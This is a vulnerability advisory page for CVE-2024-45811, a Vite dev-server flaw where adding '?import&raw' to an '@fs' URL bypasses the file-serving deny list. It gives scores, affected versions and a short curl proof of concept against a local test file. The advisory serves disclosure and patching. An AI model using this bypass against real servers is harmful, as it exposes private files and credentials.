CVE-2024-45811
JSON

4.8medium

server.fs.deny bypassed when using ?import&raw in vite

Severity
4.8medium CVSS:3.1 by GitHub_M
Exploit likelihood
1.10% (higher than 66% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-9cwx-2883-4wfx

Description

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected

Product or packageVersionsReported by
vitejs vite>= 5.4.0, < 5.4.6, >= 5.3.0, < 5.3.6, >= 5.0.0, < 5.2.14, >= 4.0.0, < 4.5.5, < 3.2.11, from 5.4.0 before 5.4.6, from 5.3.0 before 5.3.6, from 5.0.0 before 5.2.14 and 2 moreCVE List
vite (npm)from 5.4.0 before 5.4.6, from 5.3.0 before 5.3.6, from 5.2.0 before 5.2.14, from 4.0.0 before 4.5.4, before 3.2.11, from 5.0.0 before 5.1.8GitHub Advisory Database

All scores

GitHub_M4.8medium CVSS:3.1CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Classification

CWE-200CWE-284

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.

GitHub Advisory Database
Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
NVD (es)

Vite es un framework de herramientas de compilación de interfaz para JavaScript. En las versiones afectadas, el contenido de archivos arbitrarios se puede devolver al navegador. `@fs` niega el acceso a archivos fuera de la lista de permitidos de Vite. Agregar `?import&amp;raw` a la URL evita esta limitación y devuelve el contenido del archivo si existe. Este problema se ha corregido en las versiones 5.4.6, 5.3.6, 5.2.14, 4.5.5 y 3.2.11. Se recomienda a los usuarios que actualicen. No existen workarounds para esta vulnerabilidad.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-45811 changed 2024-09-18CVE Terms of Use
GitHub Advisory DatabaseGHSA-9cwx-2883-4wfx changed 2026-09-10CC-BY-4.0
NVDCVE-2024-45811 changed 2026-06-17Public domain